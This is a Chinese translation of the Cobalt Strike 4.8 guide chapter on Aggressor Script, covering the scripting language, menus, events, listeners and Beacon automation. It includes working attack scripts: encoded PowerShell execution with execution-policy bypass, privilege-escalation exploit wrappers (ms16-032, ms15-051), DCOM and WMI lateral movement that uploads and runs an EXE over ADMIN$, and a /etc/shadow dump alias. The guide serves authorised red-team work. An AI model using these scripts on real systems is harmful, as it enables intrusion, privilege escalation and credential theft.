当前位置: 首页 > news >正文

Cobalt Strike 4.8 用户指南-第十四节 Aggressor 脚本

14.1、什么是Aggressor脚本

Aggressor Script Cobalt Strike 3.0版及更高版本中内置的脚本语言。Aggressor 脚本允许你修改和扩展 Cobalt Strike 客户端。

历史

Aggressor Script 是 Armitage 中开源脚本引擎Cortana的精神继承者。Cortana 是通过与 DARPA 的网络快速跟踪计划(Cyber Fast Track program)签订合同而实现的。Cortana 允许用户扩展 Armitage,并通过Armitage的团队服务器控制 Metasploit 框架及其功能。Cobalt Strike 3.0Cobalt Strike在没有Armitage作为基础的情况下进行的全面重写。这一改动为重新审视Cobalt Strike的脚本并围绕Cobalt Strike的功能构建一些东西提供了机会。这项工作的成果就是 Aggressor Script

Aggressor Script 是一种脚本语言,用于红队行动和对手模拟,其灵感来自可编写脚本的IRC客户端和机器人。它有两个目的。你可以创建长期运行的机器人,模拟虚拟的红队成员,与你并肩作战。你还可以根据自己的需要扩展和修改 Cobalt Strike 客户端。

现状

Aggressor ScriptCobalt Strike 3.0的基础。Cobalt Strike 3.0中的大部分弹出菜单和事件展示都是由Aggressor脚本引擎管理的。尽管如此,Aggressor 脚本仍处于起步阶段。Strategic Cyber LLC还没有为Cobalt Strike的大部分功能建立应用程序接口。随着时间的推移,Aggressor脚本将会不断发展。

# 14.2、如何加载脚本

Aggressor 脚本内置于 Cobalt Strike 客户端中。要永久加载脚本,请转至 Cobalt Strike -> Script Manager 并点击Load

# 14.3、脚本控制台

Cobalt Strike 提供了一个控制台来控制你的脚本并与之交互。通过控制台,你可以跟踪、分析、调试和管理你的脚本。Aggressor Script 控制台可通过 Cobalt Strike-> Script Console访问。

控制台中可以使用以下命令:

CommandArgumentsWhat it does
?"foo" iswm "foobar"evaluate a sleep predicate and print result
eprintln("foo");evaluate a sleep statement
helplist all of the commands available
load/path/to/script.cnaload an Aggressor Script script
lslist all of the scripts loaded
proffscript.cnadisable the Sleep profiler for the script
profilescript.cnadumps performance statistics for the script.
pronscript.cnaenables the Sleep profiler for the script
reloadscript.cnareloads the script
troffscript.cnadisable function trace for the script
tronscript.cnaenable function trace for the script
unloadscript.cnaunload the script
x2 + 2

evaluate a sleep expression and print result


 14.4、无头Cobalt Strike

你可以在不使用 Cobalt Strike 图形用户界面的情况下使用 Aggressor 脚本。agscript 程序(包含在 Cobalt Strike Linux 软件包中)可运行无头Cobalt Strike客户端。agscript 程序需要四个参数:

./agscript [host] [port] [user] [password]

这些参数会将无头 Cobalt Strike 客户端连接到你指定的团队服务器。无头 Cobalt Strike 客户端会显示 Aggressor 脚本控制台。

你可以使用 agscript 立即连接到团队服务器,并运行你选择的脚本。使用方法:

./agscript [host] [port] [user] [password] [/path/to/script.cna]

该命令将无头 Cobalt Strike 客户端连接到团队服务器,加载并运行脚本。无头Cobalt Strike客户端会在与团队服务器同步之前运行你的脚本。使用 on ready命令可等待无头Cobalt Strike客户端完成数据同步步骤。

on ready {println("Hello World! I am synchronized!");closeClient();
}
# 14.5、Sleep脚本快速入门

Aggressor Script 建立在 Raphael Mudge 的 Sleep 脚本语言之上。Sleep脚本语言手册位于:

http://sleep.dashnine.org/manual/

Aggressor Script 会执行 Sleep 执行的任何操作。为了保持理智,你应该了解以下几件事。

  • Sleep 的语法、运算符和惯用语与Perl脚本语言相似。但有一个主要区别会让新程序员感到困惑。Sleep 要求在运算符和术语之间留出空白。以下代码无效:

    $x=1+2; # this will not parse!!
    

​ 但以下写法是有效的:

$x = 1 + 2;
  • Sleep 变量被称为标量,标量包含字符串、各种格式的数字、Java 对象引用、函数、数组和字典。下面是Sleep中的几个赋值:

    $x = "Hello World";
    $y = 3;
    $z = @(1, 2, 3, "four");
    $a = %(a => "apple", b => "bat", c => "awesome language", d => 4);
    
  • 数组和字典使用 和 % 函数创建。数组和字典可以引用其他数组和字典。数组和字典甚至可以引用自身。

  • 注释以#开始,直到行尾。

  • Sleep 插入双引号字符串。这意味着以$符号开头的任何空白分隔标记都会被其值替换。特殊变量$+会将插值字符串与另一个值连接起来。

    println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");
    

    这将打印出:

    $a is: %(d => 4, b => 'bat', c => 'awesome language', a => 'apple') and 
    $x joined with $y is: Hello World3
    
  • 有一个函数叫做&warn。它的工作方式类似于 &println,只不过它还包含当前脚本名称和行号。这是调试代码的一个很棒的功能。

  • Sleep函数是用 sub 关键字声明的。函数的参数标记为 $1$2,一直到 $n。函数将接受任意数量的参数。变量 @_ 也是一个包含所有参数的数组。对 $1$2 等的更改将改变@_的内容。

    sub addTwoValues {println($1 + $2);
    }addTwoValues("3", 55.0);
    

    该脚本打印出:

    58.0
    
  • 在 Sleep 中,函数与任何其他对象一样都是一等类型。以下是你可能会看到的一些内容:

    $addf = &addTwoValues;
    
  • $addf 变量现在引用了 &addTwoValues 函数。要调用变量中的函数,请使用:

    [$addf : "3", 55.0];
    
  • 此括号表示法也用于操作 Java 对象。如果你有兴趣了解更多信息,建议你阅读Sleep手册。以下语句是等效的,并且它们执行相同的操作:

    [$addf : "3", 55.0];
    [&addTwoValues : "3", 55.0];
    [{ println($1 + $2); } : "3", 55.0];addTwoValues("3", 55.0);
    
  • Sleep 有三种变量作用域:全局变量、特定闭包变量和局部变量。Sleep 手册对此有更详细的介绍。如果你在示例中看到 local('$x $y $z') ,这意味着$x、$y 和 $z是当前函数的局部变量,它们的值将在函数返回时消失。Sleep 对变量使用词法作用域。

Sleep 具有你在脚本语言中所期望的所有其他基本结构。你应该阅读手册以了解更多信息。

# 14.6、与用户交互

Aggressor 脚本使用 Sleep 的 &println&printAll&writeb 和 &warn 函数显示输出。这些函数将输出显示到脚本控制台。

脚本也可以注册命令。这些命令允许脚本通过控制台接收来自用户的触发。使用 command 关键字来注册命令:

command foo{println("Hello $1"); 
}

此代码段注册了 foo 命令。脚本控制台会自动解析命令的参数,并按空格将其分割为若干标记。$1 是第一个标记,$2 是第二个标记,以此类推。通常情况下,标记由空格分隔,但用户也可以使用 “双引号 ”来创建带有空格的标记。如果这种解析会影响你对输入内容的处理,可以使用$0访问传给命令的原始文本。

颜色

你可以为 Cobalt Strike 控制台输出的文本添加颜色和样式。\c\U  \o转义字符告诉Cobalt Strile如何格式化文本。这些转义符只能在双引号字符串内解析。

\U 转义符会给后面的文字加上下划线。第二个\U会停止下划线格式。

\o 转义符会重置其后面的文本的格式。换行符也会重置文本格式。

# 14.7、Cobalt Strike

Cobalt Strike 客户端

Aggressor 脚本引擎是Cobalt Strike的粘合剂。大多数Cobalt Strike对话框和功能都是以独立模块的形式编写的,这些模块都为Aggressor脚本引擎提供了一些接口。

内部脚本default.cna定义了默认的 Cobalt Strike 体验。该脚本定义了 Cobalt Strike 的工具栏按钮、弹出菜单,并且还格式化了大多数 Cobalt Strike 事件的输出。

本节将向你展示这些功能的工作原理,并使你能够根据自己的需求设计 Cobalt Strike 客户端。

键盘快捷键

脚本可以创建键盘快捷键。使用bind关键字绑定键盘快捷键。本例中,当同时按下 Ctrl + H 键时,对话框中会显示 Hello World!

bind Ctrl+H {show_message("Hello World!");
}

键盘快捷键可以是任何 ASCII 字符或特殊键。快捷方式可能应用了一个或多个修饰符。修饰键是以下键之一:CtrlShiftAlt  Meta。脚本可以指定修饰符+键。

弹出式菜单

脚本还可以添加或重新定义 Cobalt Strike 的菜单结构。popup 关键字可以为弹出钩子建立菜单层次结构。

下面是定义 Cobalt Strike 帮助菜单的代码:

popup help {item("&Homepage", { url_open("https://www.cobaltstrike.com/"); });item("&Support",  { url_open("https://www.cobaltstrike.com/support"); });item("&Arsenal",  { url_open("https://www.cobaltstrike.com/scripts"); });separator();item("&Malleable C2 Profile", { openMalleableProfileDialog(); });item("&System Information", { openSystemInformationDialog(); });separator();item("&About", { openAboutDialog(); });
}

该脚本与帮助弹出式钩子钩子,并定义了多个菜单项。菜单项名称中的 & 是其键盘快捷键。当用户单击每个项目时,就会执行与每个项目关联的代码块。

脚本也可以定义子菜单。 menu 关键字定义一个新菜单。当用户将鼠标悬停在菜单上时,与其关联的代码块将被执行并用于构建子菜单。

下面以Pivot Graph菜单为例进行说明:

popup pgraph {menu "&Layout" {item "&Circle"    { graph_layout($1, "circle"); }item "&Stack"     { graph_layout($1, "stack"); }menu "&Tree" {item "&Bottom" { graph_layout($1, "tree-bottom"); }item "&Left"   { graph_layout($1, "tree-left"); }item "&Right"  { graph_layout($1, "tree-right"); }item "&Top"    { graph_layout($1, "tree-top"); }}separator();item "&None" { graph_layout($1, "none"); }}
}

如果你的脚本为 Cobalt Strike 菜单钩子指定了一个菜单层次结构,那么它将添加到已经存在的菜单中。请使用 &popup_clear 函数清除其他已注册的菜单项,并根据自己的喜好重新定义弹出式菜单层次结构。

自定义输出

Aggressor Script 中的set关键字定义如何格式化事件并将其输出呈现给用户。以下是 set 关键字的示例:

set EVENT_SBAR_LEFT {return "[" . tstamp(ticks()) . "] " . mynick();
}set EVENT_SBAR_RIGHT {return "[lag: $1 $+ ]";
}

上面的代码定义了 Cobalt Strike 事件日志中状态栏的内容(View -> Event Log)。该状态栏的左侧显示当前时间和你的昵称。右侧显示Cobalt Strike客户端和团队服务器之间消息的往返时间。

你可以覆盖 Cobalt Strike 默认脚本中的任何设置选项。创建包含你关心的事件定义的文件。将其载入 Cobalt StrikeCobalt Strike 将使用你的定义,而不是内置定义。

事件

使用 on 关键字可定义事件的处理程序。当 Cobalt Strike 与团队服务器连接并准备好代表你采取行动时,将触发 Ready 事件。

on ready {show_message("Ready for action!");
}

Cobalt Strike 会针对各种情况生成事件。使用 * 元事件来观看 Cobalt Strike 触发的所有事件。

on * {local('$handle $event $args');$event = shift(@_);$args  = join(" ", @_);$handle = openf(">>eventspy.txt");writeb($handle, "[ $+ $event $+ ] $args");closef($handle);
}
# 14.8、数据模型

Cobalt Strike 的团队服务器会存储你的主机、服务、证书和其他信息。它还会广播这些信息,并提供给所有客户端。

Data API

使用 &data_query 函数来查询 Cobalt Strike 的数据模型。该函数可以访问Cobalt Strike客户端维护的所有状态和信息。使用 &data_keys 函数可以获得不同数据的查询列表。下面例子查询 Cobalt Strike 数据模型中的所有数据,并将其导出到文本文件中:

command export {local('$handle $model $row $entry $index');$handle = openf(">export.txt");foreach $model (data_keys()) {println($handle, "== $model ==");println($handle, data_query($model));}closef($handle);println("See export.txt for the data.");
}

Cobalt Strike 提供多种功能,使数据模型的操作更加直观。

ModelFunctionDescription
applications&applicationsSystem Profiler Results 系统分析器结果[View -> Applications]
archives&archivesEngagement events/activities(参与事件/活动)
beacons&beaconsActive beacons(活动beacons)
credentials&credentialsUsernames, passwords, etc.(用户名、密码等)
downloads&downloadsDownloaded files(下载的文件)
keystrokes&keystrokesKeystrokes received by Beacon(Beacon 收到的击键)
screenshots&screenshotsScreenshots captured by Beacon(Beacon 捕获的屏幕截图)
services&servicesServices and service information(服务及服务信息)
sites&sitesAssets hosted by Cobalt Strike(由 Cobalt Strike 托管的资产)
socks&pivotsSOCKS proxy servers and port forwards(SOCKS 代理服务器和端口转发)
targets&targetsHosts and host information(主机和主机信息)

这些函数返回一个数组,数据模型中的每个条目都有一行。每个条目都是一个字典,其中包含描述条目的不同键/值对。

了解数据模型的最佳方法是通过 Aggressor 脚本控制台进行探索。进入View -> Script Console,并使用 x 命令计算表达式。例如:

使用 DATA_KEY 订阅特定数据模型的更改。

on keystrokes {println("I have new keystrokes: $1");
}
# 14.9、监听器

监听器是 Cobalt Strike 在payload处理程序之上的抽象。侦听器是附加到payload配置信息(例如协议、主机、端口等)的名称,在某些情况下,监听器还承诺设置一个服务器来接收来自所描述payload的连接。

监听器API

Aggressor 脚本从你当前连接的所有团队服务器中汇总监听器信息。这样就可以轻松地将会话传递给另一个团队服务器。要获取所有监听器名称的列表,请使用 &listeners 函数。如果只想使用本地监听器,请使用 &listeners_local&listener_info 函数将监听器名称解析为其配置信息。本例将所有监听器及其配置信息转储到Aggressor脚本控制台:

command listeners {local('$name $key $value');foreach $name (listeners()) {println("== $name == ");foreach $key => $value (listener_info($name)) {println("$[20]key : $value");}}
}

创建监听器

使用 &listener_create_ext 创建监听器,并启动与其关联的payload处理程序。

选择监听器

使用 &openPayloadHelper 打开一个列出所有可用监听器的对话框。用户选择监听器后,对话框将关闭,Cobalt Strike 将运行一个回调函数。以下是Beacon生成菜单的源代码:

item "&Spawn" {openPayloadHelper(lambda({binput($bids, "spawn $1");bspawn($bids, $1);}, $bids => $1));
}

Stagers

stager 是一个小程序,它下载有效负载并将执行传递给它。Stagers非常适合大小受限的payload传递向量(例如,用户驱动的攻击、内存损坏漏洞或单行命令)。不过Stagers也有缺点。它们会在攻击链中引入一个额外的组件,而这个组件有可能被破坏。Cobalt Strike 的 stager 基于 Metasploit 框架中的 stager。如果有必须的话,也可以使用特定于payload的 stager;但最好避免使用它们。

使用 &stager 导出与 Cobalt Strike ``payload相关的payload stager。并非所有payload选项都有显式payload stager。并非所有 stager 都有x64选项。

&artifact_stager 函数将导出 PowerShell 脚本、可执行文件或 DLL,以运行与 Cobalt Strike payload相关联的 stager

Local Stagers

对于需要使用 stager 的后渗透操作,请使用仅限 localhost  bind_tcp stager。使用此stager可以使分段所需的后渗透操作能够同等地与 Cobalt Strike 的所有payload一起使用。

使用&stager_bind_tcp导出bind_tcp payload stager。使用 &beacon_stage_tcp 将payload传送到此 stager

&artifact_general 将接受这些任意代码,并生成PowerShell脚本、可执行文件或 DLL 以托管这些代码。

命名管道Stagers

Cobalt Strike 确实有一个 bind_pipe stager,对于某些横向移动情况很有用。此 stager 仅适用于 x86。使用 &stager_bind_pipe 导出此 bind_pipe stager。使用 &beacon_stage_pipe 将payload传送到此 stager

&artifact_general 将接受这些任意代码,并生成PowerShell脚本、可执行文件或 DLL 以托管这些代码。

Stageless Payloads

使用&payload Cobalt Strike payload(完整)导出为可立即运行的位置无关程序。

&artifact_general 将接受这些任意代码,并生成PowerShell脚本、可执行文件或 DLL 以托管这些代码。

# 14.10、Beacon

Beacon 是 Cobalt Strike 的异步后渗透代理。在本节中,我们将探索使用 Cobalt Strike 的 Aggressor 脚本实现 Beacon 自动化的选项。

元数据

Cobalt Strike 为每个 Beacon 分配一个会话 ID。这个ID是一个随机数。 Cobalt Strike 将任务和元数据与每个 Beacon ID 相关联。使用&beacons查询所有当前Beacon会话的元数据。使用&beacon_info查询特定Beacon会话的元数据。下面是一个转储每个 Beacon 会话信息的脚本:

command beacons {local('$entry $key $value');foreach $entry (beacons()) {println("== " . $entry['id'] . " ==");foreach $key => $value ($entry) {println("$[20]key : $value");}println();

Aliases(别名)

你可以使用别名关键字定义新的 Beacon 命令。下面是一个 hello 别名,可在 Beacon 控制台中打印 Hello World

alias hello {blog($1, "Hello World!");
}

将上述内容写入脚本,加载到 Cobalt Strike 中,然后打开 Beacon 控制台。然后输入 hello 命令并按回车键。Cobalt Strike 甚至会以制表符的形式为你完成别名设置。你应该能在Beacon控制台看到 Hello World!

你还可以使用 &alias 函数定义别名。

Cobalt Strike 会将以下参数传递给别名:$0 是别名名称和参数,不做任何解析。 $1 是输入别名的 Beacon 的 ID。参数 $2 和 on 包含传递给别名的单个参数。别名解析器按空格分割参数。用户可以使用 “双引号 ”将单词组合成一个参数。

alias saywhat {blog($1, "My arguments are: " . substr($0, 8) . "\n");
}

你也可以在 Beacon 的帮助系统中注册别名。使用 &beacon_command_register 注册命令。

别名是扩展Beacon并使其成为你自己系统的便捷方法。别名还能很好地发挥 Cobalt Strike 的威胁模拟作用。你可以使用别名来编写复杂的入侵后行动脚本,使其与其他行动者的技术相结合。你的红队操作员只需加载脚本,学习别名。然后他们就可以按照与你正在模仿的行动者保持一致的方式使用你的脚本策略进行操作。

响应新的Beacons

Aggressor Script 的一个常见用途是对新的Beacons做出反应。使用 beacon_initial 事件设置在 Beacon 首次签入时应运行的命令。

on beacon_initial {# do some stuff
}

beacon_initial 的 $1 参数是新 Beacon 的 ID

beacon_initial 事件会在beacon首次报告元数据时触发。这意味着 DNS Beacon在被要求运行命令之前不会触发 beacon_initial。要与第一次回拨的DNS Beacon交互,请使用 beacon_initial_empty 事件。

# some sane defaults for DNS Beacon
on beacon_initial_empty {bmode($1, "dns-txt");bcheckin($1);
}

弹出菜单

你还可以在 Beacons 弹出菜单中添加别名。别名虽好,但一次只能影响一个信标。通过弹出菜单,脚本的用户可以让多个Beacons同时执行所需的操作。

beacon_top 和 beacon_bottom 弹出钩子可让你添加到默认的 Beacon 菜单中。Beacon 弹出钩子的参数是所选 Beacon ID 的数组。

popup beacon_bottom {item "Run All..." {prompt_text("Which command to run?", "whoami /groups", lambda({binput(@ids, "shell $1");bshell(@ids, $1);}, @ids => $1));}
}

日志合约

Cobalt Strike 3.0 及更高版本在日志记录方面做得很好。向Beacon发出的每一条命令都会注明日期和时间戳,并归属于某个操作员。Cobalt Strike 客户端的beacon控制台会处理这些日志记录。为用户执行命令的脚本不会将命令或操作员归属记录到日志中。。该脚本负责执行此操作。使用&binput函数来执行此操作。该命令将向 Beacon 记录发送一条消息,就像用户键入了命令一样。

确认任务

自定义别名应调用&btask函数来描述用户请求的操作。此输出被发送到 Beacon 日志,并且也用于 Cobalt Strike 的报告中。大多数向 Beacon 发出任务的 Aggressor Script 函数都会打印自己的确认消息。如果你想抑制这种情况,请添加!到函数名称。这将运行该函数的安静变体。安静函数不会打印任务确认。例如, &bshell!&bshell的安静变体。

alias survey {btask($1, "Surveying the target!", "T1082");bshell!($1, "echo Groups && whoami /groups");bshell!($1, "echo Processes && tasklist /v");bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");bshell!($1, "echo System Info && systeminfo");
}

&btask的最后一个参数是以逗号分隔的 ATT&CK 技术列表。 T1082是系统信息发现。 ATT&CK 是 MITRE Corporation 的一个项目,用于对攻击者行为进行分类和记录。 Cobalt Strike 使用这些技术来构建其战术、技术和程序报告。你可以在下列链接中了解有关 MITRE ATT&CK 矩阵的更多信息:https://attack.mitre.org/。

占领Shell

别名可覆盖现有命令。下面是 Beacon 的 powershell 命令的Aggressor脚本实现:

alias powershell {local('$args $cradle $runme $cmd');# $0 is the entire command with no parsing.$args   = substr($0, 11);# generate the download cradle (if one exists) for an imported PowerShell script$cradle = beacon_host_imported_script($1);# encode our download cradle AND cmdlet+args we want to run$runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );# Build up our entire command line.$cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";# task Beacon to run all of this.btask($1, "Tasked beacon to run: $args", "T1086");beacon_execute_job($1, "powershell", $cmd, 1);
}

该别名定义了在 Beacon 中使用的 PowerShell 命令。我们使用$0来抓取所需的 PowerShell 字符串,而无需进行任何解析。重要的是要考虑到导入的 PowerShell 脚本(如果用户使用powershell-import导入了 PowerShell 脚本)。为此,我们使用了 &beacon_host_imported_script。该函数要求Beacon在绑定到本地主机的一次性 Web 服务器上托管导入的脚本。它还返回一个带有 PowerShell 下载器的字符串,用于下载并评估导入的脚本。PowerShell 中的 -EncodedCommand 标志接受 base64 字符串形式的脚本。但有一个问题。我们必须将字符串编码为 little endian UTF16 文本。这个别名使用 &str_encode 来实现这一点。&btask 调用会记录 PowerShell 的这次运行,并将其与战术 T1086 相关联。&beacon_execute_job 函数会让 Beacon 运行PowerShell并将其输出报告给 Beacon

同样,我们也可以在Beacon中重新定义 shell 命令。这个别名创建了一个备用shell命令,将 Windows 命令隐藏在环境变量中。

alias shell {local('$args');$args = substr($0, 6);btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");bsetenv!($1, "_", $args);beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}

&btask 调用会记录我们的意图,并将其与战术 T1059 相关联。&bsetenv 将我们的 Windows 命令分配给环境变量 _。脚本使用!来抑制&bsetenv的任务确认。&beacon_execute_job 函数运行参数为 /C %_% 的 %COMSPEC%。这是因为 &beacon_execute_job 会解析命令参数中的环境变量。它不会解析参数中的环境变量。因此,我们可以使用%COMSPEC% 来定位用户的 shell,但将 %_% 作为参数传递而不立即插值。

权限提升(运行命令)

Beacon 的runasadmin命令尝试在提权的上下文中运行命令。该命令接受提权方式和命令(命令和参数:))。&beacon_elevator_register函数使新的提权方式可供 runasadmin 使用。

beacon_elevator_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_elevator);

该代码使用 Beacon runasadmin命令注册提权方式 ms16-032。同时还给出了说明。当用户输入 runasadmin ms16-032 notepad.exe 时,Cobalt Strike 将使用以下参数运行 &ms16_032_elevator$1 Beacon会话 ID。 $2 是命令和参数。下面是 &ms16_032_elevator 函数:

# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {local('$handle $script $oneliner');# acknowledge this commandbtask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");# read in the script$handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));$script = readb($handle, -1);closef($handle);# host the script in Beacon$oneliner = beacon_host_script($1, $script);# run the specified command via this exploit.bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);

该函数使用&btask向用户确认该操作。 &btask中的描述也将出现在 Cobalt Strike 的日志和报告中。 T1068是与此动作相对应的MITRE ATT&CK技术。

该函数的末尾使用&bpowerpick来运行Invoke-MS16032,并使用参数来运行我们的命令。不过,实现 Invoke-MS16032 PowerShell脚本对于一行代码来说太大了。为了缓解这种情况,提权功能使用&beacon_host_script在 Beacon 内托管大型脚本。 &beacon_host_script函数返回一行以获取此托管脚本并对其进行评估。

&bpowerpick后面的感叹号告诉 Aggressor 脚本调用此函数的安静变体。安静函数不打印任务描述。

这里就不多说了。命令提权脚本只需运行一个命令即可。)

权限升级(派生会话)

Beacon 的elevate命令会尝试派生一个具有提升权限的新会话。该命令接受一个漏洞名称和一个监听器。&beacon_exploit_register函数使新的漏洞利用程序可用于提升权限。

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

此代码使用 Beacon 的 elevate 命令注册漏洞利用ms15-051 。还给出了描述。当用户输入elevate ms15-051 foo时,Cobalt Strike 将使用以下参数运行 &ms15_051_exploit: $1beacon会话 ID $2是监听器名称(例如,foo)。下面是 &ms15_051_exploit 函数代码:

# Integrate windows/local/ms15_051_client_copy_image from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms15_051_client_copy_image.rb
sub ms15_051_exploit {local('$stager $arch $dll');# acknowledge this commandbtask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051", "T1068");# tune our parameters based on the target archif (-is64 $1) {$arch   = "x64";$dll    = getFileProper(script_resource("modules"), "cve-2015-1701.x64.dll");}else {$arch   = "x86";$dll    = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll");}# generate our shellcode$stager = payload($2, $arch);# spawn a Beacon post-ex job with the exploit DLLbdllspawn!($1, $dll, $stager, "ms15-051", 5000);# link to our payload if it's a TCP or SMB Beaconbeacon_link($1, $null, $2);
}

该函数使用&btask向用户确认该操作。 &btask中的描述也将出现在 Cobalt Strike 的日志和报告中。 T1068是与此动作相对应的MITRE ATT&CK技术。

该函数重新利用了Metasploit框架中的一个exploit。该漏洞利用模块被编译为支持 x86 和 x64 的 cve-2015-1701.[arch].dll。该函数的第一个任务是读取与目标系统体系结构相对应的漏洞利用 DLL

&payload函数为我们的监听器名称和指定的体系结构生成原始输出。

&bdllspawn 函数会生成一个临时进程,将我们的漏洞利用DLL注入其中,并将我们导出的payload作为参数传递。这就是Metasploit Framework用来将shellcode传递到以 Reflective DLL 实现的权限升级漏洞的方式。

最后,该函数调用&beacon_link 。如果目标见提前是 SMB 或 TCP Beacon payload , &beacon_link将尝试连接到它。

横向移动(运行命令)

Beacon 的 remote-exec 命令试图在远程目标上运行一条命令。该命令接受远程执行方法、目标和命令 + 参数。&beacon_remote_exec_method_register函数既是一个很长的函数名,又为远程执行方法提供了一个新方法。

beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);

这段代码将remote-exec方法 com-mmc20 注册到 Beacon 的remote-exec命令中。同时还给出了说明。当用户输入 remote-exec com-mmc20 c:\windows\temp\malware.exe 时,Cobalt Strike 将运行 &mmc20_exec_method,参数如下: $1 是Beacon会话 ID$2 是目标。$3 是命令和参数。下面是 &mmc20_exec_method 函数:

sub mmc20_exec_method {local('$script $command $args');# state what we're doing.btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");# separate our command and argumentsif ($3 ismatch '(.*?) (.*)') {($command, $args) = matched();}else {$command = $3;$args    = "";}# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object$script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';$script .= $2;$script .=  '")).Document.ActiveView.ExecuteShellCommand("';$script .= $command;$script .= '", $null, "';   $script .= $args;$script .= '", "7");';# run the script we built upbpowershell!($1, $script, "");
}

该功能使用 &btask 确认任务并向操作员描述(以及日志和报告)。T1175 是与此操作相对应的 MITRE ATT&CK 技术。

然后,该函数将$3参数拆分为命令和参数两部分。这样做是因为该技术要求这些值是分开的。

之后,该函数会创建一个PowerShell命令字符串,如下所示:

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGETHOST")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");

此命令使用 MMC20.Application COM 对象在远程目标上执行命令。这种方法是由Matt Nelson发现的一种横向移动选项:https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

此函数使用&bpowershell来运行此 PowerShell 脚本。第二个参数是一个空字符串,用于抑制默认下载器(如果操作员之前运行过 powershell-import)。你也可以修改此示例以使用 &bpowerpick 运行此单行代码,而无需powershell.exe

这个示例是作者向 Cobalt Strike 添加 Remote-exec 命令和 API 的主要动机之一。这是一个出色的“执行此命令”原语,但端到端武器化(生成会话)通常包括使用此原语在目标上运行PowerShell单行代码。由于种种原因,这在很多情况下并不是正确的选择。通过remote-exec接口公开这一基本要素,可以让你选择如何最好地利用这一功能(而不会强迫你做出你不希望做出的选择)。

横向移动(派生会话)

Beacon 的jump命令尝试在远程目标上生成新会话。此命令接受漏洞利用名称、目标和侦听器,&beacon_remote_exploit_register函数使新模块可用于jump

beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));

上述函数注册了 wmi 和wmi64选项,供jump命令使用。&lambda 函数复制了 &wmi_remote_spawn,并将 $arch 设置为该函数副本的静态变量。通过这种方法,我们可以使用相同的逻辑在一个实现中提供两个横向移动选项。下面是 &wmi_remote_spawn 函数:

# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {local('$name $exedata');btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");# we need a random file name.$name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";# generate an EXE. $arch defined via &lambda when this function was registered with# beacon_remote_exploit_register$exedata = artifact_payload($3, "exe", $arch);# upload the EXE to our target (directly)bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);# execute this via WMIbrun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");# assume control of our payload (if it's an SMB or TCP Beacon)beacon_link($1, $2, $3);

&btask 函数履行了我们记录用户意图的义务。T1047 参数将此操作与 MITRE ATT&CK 矩阵中的战术 1047 相关联。

&artfiact_payload 函数生成一个stageless 可执行程序来运行我们的payload。它使用 Artifact Kit 钩子来生成此执行文件。

&bupload_raw 函数将工件数据上传到目标。该函数使用 \\target\ADMIN$\filename.exe 直接将EXE通过管理员专用共享写入远程目标。

&brun运行wmic /node:"target" 进程调用 create "\\target\ADMIN$\filename.exe"以执行远程目标上的文件。

如果payload SMB 或 TCP Beacon,则 &beacon_link 承担对paylaod的控制。

# 14.11、SSH会话

Cobalt StrikeSSH客户端使用SMB Beacon协议,并实现了Beacon命令和功能的子集。从Aggressor脚本的角度来看,SSH会话就是命令较少的Beacon会话。

是什么类型的会话?

与 Beacon 会话一样,SSH 会话也有一个 IDCobalt Strike 会将任务和元数据与此 ID 关联。&beacons 函数还会返回所有 Cobalt Strike 会话(SSH 会话和 Beacon 会话)的信息。使用 -isssh 参数测试会话是否为 SSH 会话。使用 -isbeacon 测试会话是否为 Beacon 会话。

以下是仅过滤 SSH 会话信标的函数:

sub ssh_sessions {return map({if (-isssh $1['id']) {return $1;}else {return $null;}}, beacons());
}

别名

可以使用 ssh_alias 关键字将命令添加到 SSH 控制台。如果你是管理员,这里有一个别名 hashdump 以获取 /etc/shadow 的脚本。

ssh_alias hashdump {if (-isadmin $1) {bshell($1, "cat /etc/shadow");}else {berror($1, "You're (probably) not an admin");}
}

将以上内容放入脚本中,将其加载到 Cobalt Strike 中,然后在 SSH 控制台中输入 hashdump Cobalt Strike 也会标记完整的 SSH 别名。

你还可以使用 &ssh_alias 函数定义 SSH 别名。

Cobalt Strike 会将以下参数传递给别名:$0 是别名名称和参数,不做任何解析。$1 是输入别名的会话 ID。参数 $2 on包含传递给别名的单个参数。别名解析器用空格分割参数。用户可以使用 “双引号 ”将单词组合成一个参数。

你还可以使用 SSH 控制台的帮助系统注册你的别名。使用 &ssh_command_register 注册命令。

响应新的 SSH 会话

Aggressor 脚本也可以对新的 SSH 会话做出反应。使用 ssh_initial 事件来设置 SSH 会话传入时应运行的命令。

on ssh_initial {# do some stuff
}

ssh_initial $1参数是新会话的 ID

弹出菜单

